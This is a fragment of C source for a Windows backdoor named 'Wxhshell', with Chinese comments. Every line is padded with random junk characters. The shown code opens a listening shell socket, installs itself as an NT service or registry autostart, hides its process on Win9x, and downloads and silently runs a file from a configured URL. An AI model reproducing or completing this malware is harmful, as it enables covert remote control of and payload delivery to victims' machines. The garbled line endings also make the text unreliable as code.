DWORD PebBaseAddress; 0iB1_)~
DWORD AffinityMask; LtU+w*Gj
DWORD BasePriority; 8&;dR
ULONG UniqueProcessId; a,E;R$[!
ULONG InheritedFromUniqueProcessId; A+l"
} PROCESS_BASIC_INFORMATION; >I!(CM":s$
{Eb6.
PROCNTQSIP NtQueryInformationProcess; evR= Z\
_
(j/O=$mJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z? aDOh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o99 a=x6
MDq @:t
HANDLE hProcess; 4<Y?#bm'
PROCESS_BASIC_INFORMATION pbi; 5jLDe~
p(8\w-6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [n"<(~
if(NULL == hInst ) return 0; <>Im$N ai
9x1Dyz 2?F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6{~I7!m"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~h/U ;Da
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
:+=*
-5[GX3h0
if (!NtQueryInformationProcess) return 0; f,#xicSB*
h CiblM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pDLo`F}A
if(!hProcess) return 0; 9T1G/0k-
zyr6Tv61U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uww^Sq
S`G\Cd;5
CloseHandle(hProcess); 9wC; m :
uz#9w\="
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); On^#x]
if(hProcess==NULL) return 0; xlLS`
+9X[gef8
HMODULE hMod; ]@>|y2
char procName[255]; SD&[K
8-i2
unsigned long cbNeeded; -ZB"Yg$l
ht|r+v-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =-qsz^^a-
X3[!xMij
CloseHandle(hProcess); *`#,^p`j
b
m
C Ge*V}
if(strstr(procName,"services")) return 1; // 以服务启动 y6/X!+3+
UVK"%kW#(
return 0; // 注册表启动 hbeC|_+
} Os{qpR^<I:
ShpnFuH
// 主模块 "}! rM6 h
int StartWxhshell(LPSTR lpCmdLine) 3o>t~Sfi
{ tOw
0(-:iq
SOCKET wsl; }U9jsm
BOOL val=TRUE; 2#3R]zIO
int port=0; &iZYBa
struct sockaddr_in door; <Xx\F56zp
%5%Wo(W'
if(wscfg.ws_autoins) Install(); N+5^h(~
zwtsw [.
port=atoi(lpCmdLine); <Z'hZ
R6;>RRU_
if(port<=0) port=wscfg.ws_port; Q8?D}h
fXe-U='
WSADATA data; gQWX<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5H+k_U
&J$5+"/;X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tHbPd.^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \BXVWE|
door.sin_family = AF_INET; dn_OfK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); RWFf-VA?
door.sin_port = htons(port); tY=%@v'6?
#~;8#!X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G4' U;
closesocket(wsl); -G#k/Rz6
return 1; )H)Udhz
} _~Vz+nT
C+XZDY(=Z
if(listen(wsl,2) == INVALID_SOCKET) { 4rG 7\
closesocket(wsl); 1m;*fs
return 1; CqK#O'\
} .A)Un/k7
Wxhshell(wsl); v&2@<I>
WSACleanup(); SzX~;pFM0
J"/z?!)IB
return 0; aLt{X)?
*Ne&SXg
} Wxau]uix
7CM03R[P
// 以NT服务方式启动 h6y4Ii
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f\|?_k]
{ {@__%=`CCS
DWORD status = 0; K#hY bDm
DWORD specificError = 0xfffffff; qO{ ZZ*
2,V+?'^j
serviceStatus.dwServiceType = SERVICE_WIN32; %@n8
?l4
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ir:~*|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P 4*MV
serviceStatus.dwWin32ExitCode = 0; l/zC##1+.
serviceStatus.dwServiceSpecificExitCode = 0; +'KE T,
serviceStatus.dwCheckPoint = 0; 9+
l3$
serviceStatus.dwWaitHint = 0; =4<S8Cp
wZ8 MhE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U!?gdX
if (hServiceStatusHandle==0) return; W^.-C
exO#>th1
status = GetLastError(); E8_Le
if (status!=NO_ERROR) )9L pX
{ M#VC3h$
serviceStatus.dwCurrentState = SERVICE_STOPPED; dIpW!Pj^
serviceStatus.dwCheckPoint = 0; Qy5Os?9"
serviceStatus.dwWaitHint = 0; PuZs5J3
serviceStatus.dwWin32ExitCode = status; Secq^#]8
serviceStatus.dwServiceSpecificExitCode = specificError; o.3YM.B#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bk"k&.C^+
return; N&^xq_ 9&
} _gm?FxV:
51G=RYay9
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 %)N(%u
serviceStatus.dwCheckPoint = 0; \DU^idp#
serviceStatus.dwWaitHint = 0; }PQSCl^I
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XQ3*
} T3 9C lH
^@`e
// 处理NT服务事件,比如:启动、停止 ;=-j;x
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^+%tlX_+.
{ uR:=V9O
switch(fdwControl) yw.~trF&%
{ %U5P}
case SERVICE_CONTROL_STOP: zn
V1kqGU
serviceStatus.dwWin32ExitCode = 0; !/6\m!e|1R
serviceStatus.dwCurrentState = SERVICE_STOPPED; y=9Dxst"V
serviceStatus.dwCheckPoint = 0; _+\:OB[Y
serviceStatus.dwWaitHint = 0; |O(-CDQe
{ 7"F|6JP"$c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); slge+xq\J
} UXwB$@8
return; p:JRQT"A
case SERVICE_CONTROL_PAUSE: c.(Ud`jc
serviceStatus.dwCurrentState = SERVICE_PAUSED; au~]
break;
,v*p
case SERVICE_CONTROL_CONTINUE: 4`8IFK
serviceStatus.dwCurrentState = SERVICE_RUNNING; eu}Fd@GO
break; BbrT f"`
case SERVICE_CONTROL_INTERROGATE: .]j#y9>&w%
break; p@/(.uE
}; %j*k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gefnk!;;
}
w%3Fg~Up
~V2ajM1Z&O
// 标准应用程序主函数 q%-&[%l
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s(AJkO'`
{ TBZ-17+
!Ea&]G
// 获取操作系统版本 #
0GGc.
OsIsNt=GetOsVer(); .3{[_iTM
GetModuleFileName(NULL,ExeFile,MAX_PATH); m~u|VgD
H]_WFiW-9
// 从命令行安装 g7xbyBo7
if(strpbrk(lpCmdLine,"iI")) Install(); 908ayfVI
H\^VqNK"
// 下载执行文件 3 ppuQQ
if(wscfg.ws_downexe) { /Hv*K&}M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]alh_U
WinExec(wscfg.ws_filenam,SW_HIDE); m[Z6VHn
} f49"pTw7
ku{XW8
if(!OsIsNt) { n{dP@_>WS
// 如果时win9x,隐藏进程并且设置为注册表启动 lPY@{1W
HideProc(); dgS4w@)@V;
StartWxhshell(lpCmdLine); 0VzXDb>`
} TdQ]G2
else `Kh]x9Z
if(StartFromService()) /61by$E
// 以服务方式启动 F9MR5O"
StartServiceCtrlDispatcher(DispatchTable); PzjaCp'
else }>V/H]B
// 普通方式启动 bxAsV/j
StartWxhshell(lpCmdLine); XVw-G
}5
$+Vmwd;
return 0; /xcJo g~F,
}